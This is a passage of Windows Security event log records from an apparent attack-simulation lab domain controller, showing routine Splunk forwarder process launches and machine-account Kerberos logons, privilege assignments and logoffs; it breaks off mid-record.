- Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1324 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:51:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255991 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:51:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255990 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:51:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255992 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x640 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:51:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255993 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:51:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255994 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:51:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255996 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3992DD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64971 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:51:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255995 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3992DD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:51:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255998 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3999EA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {68513207-EE9F-7088-7C79-4A7797658EB5} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:51:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255997 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3999EA - -Privileges: SeAuditPrivilege - SeImpersonatePrivilege - SeAssignPrimaryTokenPrivilege -03/12/2021 12:51:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255999 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3992DD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:51:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256002 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39A4AC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:51:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256001 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39A4AC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51113 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:51:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256000 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39A4AC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:52:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256008 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39A79F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:52:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256007 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39A79F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51117 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:52:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256006 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39A79F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:52:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256005 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39A733 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:52:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256004 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39A733 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51116 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:52:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256003 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39A733 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:52:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256009 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256023 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B242 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256022 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B493 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256021 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B4E5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256020 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39B64B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51124 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256019 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B64B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256018 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39B4E5 - Linked Logon ID: 0x0 - Network 